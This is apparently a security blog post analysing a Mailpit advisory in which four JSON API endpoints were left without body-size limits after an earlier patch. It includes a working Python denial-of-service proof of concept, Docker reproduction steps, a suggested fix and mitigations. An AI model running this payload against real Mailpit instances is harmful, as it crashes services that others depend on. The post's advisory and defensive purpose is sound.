
Mailpit's Half-Fix: How One Missing MaxBytesReader Leaves the Door Open for Memory Exhaustion
A deep dive into GHSA-28pq-6qxg-wg5r: Mailpit patched the /api/v1/send endpoint for a memory-exhaustion DoS, but forgot four sibling JSON handlers, leaving them completely open to the same attack with zero authentication.
Look, I get it. Patching a vulnerability is a sprint. You find the hot path, you wrap it with a http.MaxBytesReader, you ship the fix, you breathe. But when the vulnerability is a class of issue—unbounded JSON body parsing—you can't just patch one endpoint and call it done. That's exactly what happened with Mailpit v1.30.0 and the fix for CVE-2026-45710. The original advisory (GHSA-fpxj-m5q8-fphw) got a solid patch: a 50 MB default limit on POST /api/v1/send. But four sibling endpoints that accept the same kind of unbounded JSON bodies? They got nothing. No MaxBytesReader, no size check, nothing. Which means the original vulnerability is still very much alive, just shifted down the hall.
The advisory GHSA-28pq-6qxg-wg5r, published yesterday by researcher tonghuaroot, details this gap with clinical precision. A remote attacker, with zero authentication, can send a multi-million-element array in a JSON body to any of those four endpoints and spike the process’s RSS from ~25 MiB to ~450 MiB per request. Do it concurrently and you've got a memory-exhaustion DoS on the default deployment—the exact threat model the original patch was supposed to neutralize.
The Original Sin: CVE-2026-45710
Let's rewind. Mailpit is a neat little email testing tool for developers. You point your app's SMTP or API at it, and it catches all outgoing mail so you can inspect it in a web UI. It defaults to listening on [::]:8025 with no authentication—that's the whole dev-friendly pitch. No UI auth, no API auth. So any endpoint reachable in that default config is a pre-auth vector.
Earlier this year, a researcher noticed that POST /api/v1/send accepted an unbounded JSON body. You could stream in a massive email message, and Mailpit would happily allocate memory to parse and store it. No limits. The fix (commit 136bdde) introduced a MaxMessageSize config flag (default 50 MB) and wrapped exactly one handler:
// server/apiv1/send.go:45-48
if config.MaxMessageSize > 0 {
r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)That's a clean, effective fix. http.MaxBytesReader wraps the request body with a reader that errors out once the limit is exceeded, and json.NewDecoder respects that. If you try to send a 200 MB email, the server cuts you off at 50 MB and returns an error. Done.
Except—and this is the part that makes me twitch—nobody asked: "What other endpoints parse JSON bodies?"
The Siblings: Four Handlers, Same Shape, Zero Guards
Mailpit's API has five JSON-body endpoints. The patched one is POST /api/v1/send. The other four:
| Endpoint | Handler | Default Auth? |
|---|---|---|
PUT /api/v1/messages | SetReadStatus | None |
DELETE /api/v1/messages | DeleteMessages | None |
PUT /api/v1/tags | SetMessageTags | None |
POST /api/v1/message/{id}/release | ReleaseMessage | None |
Every single one of them does this:
// server/apiv1/messages.go:107-115 (SetReadStatus)
decoder := json.NewDecoder(r.Body)
var data struct {
Read bool
IDs []string
Search string
}
err := decoder.Decode(&data)No MaxBytesReader. No r.Header.Get("Content-Length") pre-check. No limit of any kind. The json.Decoder will stream the body and allocate a Go string for every element in the IDs array. So if you send a JSON payload with 4 million "x" strings, that's 4 million heap allocations plus slice overhead. In the proof-of-concept, a 16 MB payload produced ~450 MiB of RSS—a 28× amplification.
And here's the kicker: these endpoints share the exact same middleware chain as the patched /api/v1/send. They all go through middleWareFunc, which in the default deploy bypasses auth entirely because UICredentials is nil. So whatever threat model applied to the original vuln—unauthenticated attacker on the network—applies identically to these four.
Reproduction: It's Trivial
If you're running the stock Docker image (axllent/mailpit:latest), which as of writing is v1.30.0 and includes the original patch, this is what happens:
# 1) start mailpit
docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest
# 2) baseline RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 8.473MiB / 5.772GiBNow send a malicious PUT to /api/v1/messages:
import socket
N = 4_000_000
prefix = b'{"Read": true, "IDs": ['
items = b'"x"' + (b',"x"' * (N - 1))
suffix = b']}'
clen = len(prefix) + len(items) + len(suffix)
s = socket.create_connection(("localhost", 18025), timeout=300)
s.sendall(
b"PUT /api/v1/messages HTTP/1.1\r\n"
b"Host: localhost:18025\r\n"
b"Content-Type: application/json\r\n"
b"Content-Length: " + str(clen).encode() + b"\r\n"
b"Connection: close\r\n\r\n")
s.sendall(prefix)
rem = items
while rem:
s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]
s.sendall(suffix)
s.close()Right after the request, check RSS again:
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 455.8MiB / 5.772GiBThat's a single TCP connection with a 16 MB body. Repeat across multiple connections and the memory balloons proportionally. The process does not free this memory between requests, so you just keep piling on until the container is OOM-killed or the host swaps itself into oblivion.
The same pattern works on all four endpoints. The IDs slice isn't even persisted to SQLite for most of them—SetReadStatus iterates and issues an UPDATE for each ID, which is extra CPU burn, but the real damage is the memory allocation itself. You don't need disk amplification when you can exhaust RAM with a single HTTP request.
Why This Happens: The Incomplete Fix Pattern
This is a classic incomplete patch—what I've started calling the "whack-a-mole" vulnerability lifecycle. A researcher finds a class of bug (unbounded JSON parsing), reports one concrete instance, and the developer fixes that instance. But the underlying class wasn't addressed systematically. No grep across the codebase for other json.NewDecoder(r.Body) calls. No shared middleware that applies the limit globally. Just a surgical patch on the one function mentioned in the report.
I've seen this pattern repeatedly in vulnerability research. A CVE for a path traversal in one handler, while three other handlers in the same router accept file paths from user input with no sanitization. An SSRF fix in one HTTP client, but the same pattern appears in a dozen other places. It's not malice—it's the pressure to ship fixes fast, and the cognitive blind spot of "I fixed the reported issue."
The Mailpit case is almost textbook. Commit 136bdde added MaxMessageSize to config/config.go, parsed it from --max-message-size, and then only used it in send.go. The config field literally sits there waiting to be consulted, but none of the sibling handlers do. The diff is clean, targeted, and completely insufficient.
The Suggested Fix: Wrap Everything, or Better, Wrap Once
The advisory recommends applying the same MaxBytesReader pattern to all four handlers—pretty straightforward:
// server/apiv1/messages.go:107
if config.MaxMessageSize > 0 {
r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)Repeat that in messages.go:187, tags.go:54, and release.go:55. But honestly, that's still playing whack-a-mole. A better approach: factor the limit into the common middleware that all these handlers already share. The middleWareFunc in server/server.go could check the Content-Type for JSON and wrap the body before it even reaches the specific handler. That way, any new endpoint added in the future inherits the protection automatically. Something like:
func bodySizeLimitMiddleware(config *config.Config) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if strings.HasPrefix(r.Header.Get("Content-Type"), "application/json") && config.MaxMessageSize > 0 {
r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
next.ServeHTTP(w, r)
})
}
}You'd still need per-endpoint overrides for upload-style endpoints like /api/v1/send (which might already have its own larger limit), but the default for JSON parsers should be "capped."
What You Should Do Right Now
If you run Mailpit in any environment—dev, CI, staging, whatever—and you're using the default configuration (no --ui-auth, no --smtp-auth), you are immediately vulnerable to this. The attack is trivial to execute, requires no credentials, and can crash your Mailpit instance or the host it's on.
Mitigation options until a proper fix lands:
- Enable authentication. Set
--ui-auth=user:passand--smtp-auth=user:pass. This doesn't fix the underlying memory exhaustion, but it raises the bar from "anyone on the network" to "someone who has stolen or guessed a credential." That's not nothing, especially in dev environments that aren't Internet-facing.
- Network-level restrictions. Bind Mailpit to
127.0.0.1:8025instead of[::]:8025if you only access it locally. No remote attack surface, no problem. Most CI setups can handle that.
- Resource limits. Set a memory limit on your Docker container (
--memory=256m). When the DoS hits, the container dies and gets restarted, but at least it doesn't take down the host. Not a fix, but damage control.
- Watch the repo. Mailpit's maintainer (axllent) is usually responsive; this will likely get patched quickly now that it's public. Upgrade as soon as a new release drops.
None of this is a substitute for the code fix, but in the real world you layer defenses.
The Bigger Lesson: Patch the Class, Not the Instance
This advisory is going to get a lot of attention because Mailpit is popular and the exploit is so cut-and-dried. But the real takeaway for engineers and security people is the systemic pattern. When you fix a vulnerability that stems from a missing guard (no body size limit, no input validation, no authorization check), you need to ask: "Where else in this codebase does the same pattern exist?"
Grep your project. Seriously. If you just patched a json.NewDecoder(r.Body) without a MaxBytesReader, grep for all other occurrences of NewDecoder that consume an r.Body. If you fixed an SQL injection by parameterizing one query, audit the rest of the data access layer for string concatenation. If you closed a path traversal in one route, fuzz every route that takes a file path parameter. This isn't paranoia; it's the most basic due diligence after a vulnerability disclosure.
I've seen too many cases where a CVE is issued, the maintainer patches the specific proof of concept, and within weeks a variant surfaces that bypasses the fix by hitting an adjacent endpoint. That's exactly what happened here. GHSA-fpxj-m5q8-fphw was patched in May, and now in July we have GHSA-28pq-6qxg-wg5r—a full-fledged sibling vulnerability that should have been caught in the first round of fixes.
The Mailpit instance I run on my local dev box is going to get either a config change or a Docker memory limit today. And if you're running any Go service that accepts JSON bodies, maybe take twenty minutes to audit how you're handling request body size. Because json.NewDecoder is perfectly happy to let an attacker allocate your entire heap until the OOM killer intervenes.
This one's going to get patched quickly—the fix is a handful of lines, the pattern is obvious, and the advisory gives a clear path forward. But the pattern of incomplete fixes? That's going to outlive this advisory by a long shot. Don't be the developer who only patches what's in the report.
Related posts
- Security
How I got free cinema credit by ordering -2 popcorns
A missing input validation on M-Tix Cinema XXI's food ordering API let me increase my account balance by submitting negative quantities. No tools needed — just a browser.
May 19, 2026 · 6 min - Security
How I analyze API security headers in 30 seconds
A quick checklist for reading HTTP response headers and spotting security misconfigurations before you even look at the response body.
May 18, 2026 · 7 min - Security
Common auth mistakes I find when reverse-engineering APIs
After years of poking at APIs that weren't meant to be poked at, these are the auth patterns that break most often — and why.
May 18, 2026 · 9 min